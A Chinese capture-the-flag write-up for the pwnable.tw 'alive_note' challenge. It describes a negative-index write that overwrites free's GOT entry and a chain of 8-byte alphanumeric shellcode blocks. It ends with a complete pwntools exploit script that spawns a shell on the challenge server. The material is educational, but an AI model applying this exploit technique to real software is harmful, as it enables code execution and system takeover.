【PWNABLE.TW】 alive_note 解题思路

突然发现已经两个月没写过WP了,愧疚- -…

此题也算一道分数很高的题目,主要考察Shellcode的编写。

题目功能

又是一道题目逻辑很简单的题。

首先提供了三个函数

查看,删除,添加

查看函数:

此函数中readint()使用atoi进行解析,没有检查小于0的情况,造成越解读,可以泄露libc地址(然并卵)

添加函数中一样有这个问题,并且可以任意写,

显然是一道覆盖got表的题,并且没有开启NX保护,就是可以写shellcode。

查看一下check函数

不太清楚__ctype_b_loc是什么check,不过可以fuzz一下。

发现只有如下这些是可以输入的

1
2
3
4
5
6
7
8
9
10
'''
0x0 0x20 0x30 0x31 0x32 0x33 0x34 0x35 0x36 0x37 0x38 0x39 0x41 0x42 0x43
0x44 0x45 0x46 0x47 0x48 0x49 0x4a 0x4b 0x4c 0x4d 0x4e 0x4f 0x50 0x51 0x52
0x53 0x54 0x55 0x56 0x57 0x58 0x59 0x5a 0x61 0x62 0x63 0x64 0x65 0x66 0x67
0x68 0x69 0x6a 0x6b 0x6c 0x6d 0x6e 0x6f 0x70 0x71 0x72 0x73 0x74 0x75 0x76
0x77 0x78 0x79 0x7a

\x00 0 1 2 3 4 5 6 7 8 9 A B C D E F G H I J K L M N O P Q R
S T U V W X Y Z a b c d e f g h i j k l m n o p q r s t u v w x y z
'''

而这些机器码构成的汇编就可以做很多事情了,比如参考这个文档给出的汇编指令对应关系

https://wenku.baidu.com/view/bf5227ecaeaad1f346933f86.html

漏洞利用

作为其他的限制,shellcode每块不许超过8字节,并且使用strdup建立堆块,也就是说不能有\x00。

根据堆的分配机制,每个堆块分配的大小应该是16字节,并且是连续的,因此可以shellcode链的方法进行跳转,比如使用JNE语句等。

选择覆盖的函数使用free函数,在delete函数时触发,原因是此时在寄存器里会有堆块相关的值。

此时调用free函数时,寄存器的值为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
eax            0x811f018    0x811f018   ;堆块地址
ecx 0x0 0x0
edx 0x0 0x0
ebx 0x0 0x0
esp 0xffd9597c 0xffd9597c
ebp 0xffd959a8 0xffd959a8
esi 0xf76b7000 0xf76b7000
edi 0xf76b7000 0xf76b7000
eip 0x80484e0 0x80484e0 <free@plt>
eflags 0x296 [ PF AF SF IF ]
cs 0x23 0x23
ss 0x2b 0x2b
ds 0x2b 0x2b
es 0x2b 0x2b
fs 0x0 0x0
gs 0x63 0x63

 以此寄存器的值构造shellcode,shellcode块之间使用3个小块填充即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
'''
read(0,heap,size)
shellcode 1
push eax ;P eax=heap
pop ecx ;Y
push ebx ;S
pop eax ;X
push 0x7a ;jz
jnz 0x38 ;u8
eax = 0 ebx = 0 ecx = heap edx = 0
shellcode 2
pop edx ;Z
dec eax ;H
xor byte ptr[ecx+0x46],al ;0a5
jnz 0x39
shellcode 3
xor al,0x33 ;4c
xor byte ptr[ecx+0x47],al ;0a5
jnz 0x39
shellcode 4
push 0x33 ;j3
pop eax ;X
xor al,0x30 ;40

'''+'2L'

#EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
from pwn import *
debug = 0
bad=[]
other=[]
good = []
elf = ELF('./alive_note')
context.log_level = 'debug'
if debug:
p = process('./alive_note')
#$libc = ELF('/lib/i386-linux-gnu/libc.so.6')
#off = 0x001b2000
context.log_level = 'debug'
#gdb.attach(p,'b *0x80488d3')
#gdb.attach(p,'b *0x80488C9')
else:
p = remote('chall.pwnable.tw', 10300)
#libc = ELF('./libc_32.so.6')


def test():
for i in range(256):
p=process('./alive_note')
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('Index')
p.sendline('1')
p.recvuntil('Name :')
p.sendline(''+chr(i))
try:
res = p.recvline()
if('Done' in res):
good.append(i)
elif ('must be ' in res ):
bad.append(i)
else:
other.append(i)
except:
bad.append(i)

p.close()

def add(num,name):
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('Index :')
p.sendline(str(num))
p.recvuntil('Name :')
p.sendline(name)
def show(num):
p.recvuntil('Your choice :')
p.sendline('2')
p.recvuntil('Index :')
p.sendline(str(num))
def delete(num):
p.recvuntil('Your choice :')
p.sendline('3')
p.recvuntil('Index :')
p.sendline(str(num))
def padding():
add(9,'p4nda')
add(9,'p4nda')
add(9,'p4nda')
shellcode1 = '''
push eax
pop ecx
push ebx
pop eax
push 0x7a
'''
shellcode2 = '''
pop edx
dec eax
xor byte ptr[ecx+0x45],al
'''
shellcode3='''
xor al,0x33
xor byte ptr[ecx+0x46],al
'''
shellcode4='''
push 0x33
pop eax
xor al,0x30
'''

print asm(shellcode1)
if __name__ == '__main__':
note = 0x804a080
add((elf.got['free']-note)/4,asm(shellcode1)+'u8')
padding()
add(0,asm(shellcode2)+'u9')
padding()
add(1,asm(shellcode3)+'u9')
padding()
add(2,asm(shellcode4)+'2L')
padding()
#gdb.attach(p,'b *0x80488ea')
#add(1,'PPPPPPP')
delete(1)
p.sendline('\x90'*0x48+asm(shellcraft.sh()))


p.interactive()



'''
read(0,heap,size)
shellcode 1
push eax ;P eax=heap
pop ecx ;Y
push ebx ;S
pop eax ;X
push 0x7a ;jz
jnz 0x38 ;u8
eax = 0 ebx = 0 ecx = heap edx = 0
shellcode 2
pop edx ;Z
dec eax ;H
xor byte ptr[ecx+0x46],al ;0a5
jnz 0x39
shellcode 3
xor al,0x33 ;4c
xor byte ptr[ecx+0x47],al ;0a5
jnz 0x39
shellcode 4
push 0x33 ;j3
pop eax ;X
xor al,0x30 ;40










'''

'''
eax 0x811f018 0x811f018
ecx 0x0 0x0
edx 0x0 0x0
ebx 0x0 0x0
esp 0xffd9597c 0xffd9597c
ebp 0xffd959a8 0xffd959a8
esi 0xf76b7000 0xf76b7000
edi 0xf76b7000 0xf76b7000
eip 0x80484e0 0x80484e0 <free@plt>
eflags 0x296 [ PF AF SF IF ]
cs 0x23 0x23
ss 0x2b 0x2b
ds 0x2b 0x2b
es 0x2b 0x2b
fs 0x0 0x0
gs 0x63 0x63

'''



'''
test()
print 'good:',good
print 'bad:',bad
print 'other:',other
for i in good:
print hex(i),
'''


'''
0x0 0x20 0x30 0x31 0x32 0x33 0x34 0x35 0x36 0x37 0x38 0x39 0x41 0x42 0x43
0x44 0x45 0x46 0x47 0x48 0x49 0x4a 0x4b 0x4c 0x4d 0x4e 0x4f 0x50 0x51 0x52
0x53 0x54 0x55 0x56 0x57 0x58 0x59 0x5a 0x61 0x62 0x63 0x64 0x65 0x66 0x67
0x68 0x69 0x6a 0x6b 0x6c 0x6d 0x6e 0x6f 0x70 0x71 0x72 0x73 0x74 0x75 0x76
0x77 0x78 0x79 0x7a

\x00 0 1 2 3 4 5 6 7 8 9 A B C D E F G H I J K L M N O P Q R
S T U V W X Y Z a b c d e f g h i j k l m n o p q r s t u v w x y z
'''
文章目录
  1. 1. 题目功能
  2. 2. 漏洞利用
|